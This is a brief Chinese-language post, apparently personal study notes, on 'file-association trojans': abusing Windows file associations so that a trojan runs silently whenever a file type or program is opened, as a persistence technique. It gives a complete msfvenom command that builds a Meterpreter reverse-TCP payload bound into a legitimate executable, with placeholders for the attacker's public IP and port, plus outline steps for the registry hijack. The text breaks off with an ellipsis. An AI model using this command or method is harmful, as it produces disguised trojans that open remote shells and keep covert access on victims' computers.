文件关联型木马

什么是文件关联？

双击txt文档，计算机用记事本打开txt文件，双击cvs文件，计算机默认使用Excel打开文件。以上txt文档与记事本建立了文件关联。也就是对某种文件类型(区分于文件拓展名)默认打开方式

使用文件关联实现木马自启动进行权限维持

将木马与某一种类型的文件或程序关联在一起，当打开文件或程序被运行是，木马也悄悄伴随着运行

msfvenom实现绑定程序：

msfvenom -p windows/meterpreter_reverse_tcp LHOST={公网IP} LPORT={公网端口} -f exe -o payload -i 5 -x {捆绑对象}.exe

修改注册表 执行木马的同时执行文件

思路：

1. 建立文件关联

2. 调用正常的程序

3. 获得文件名

……

参考：用文件关联的方法实现木马的自启动【精品文档】 - 豆丁网 (docin.com)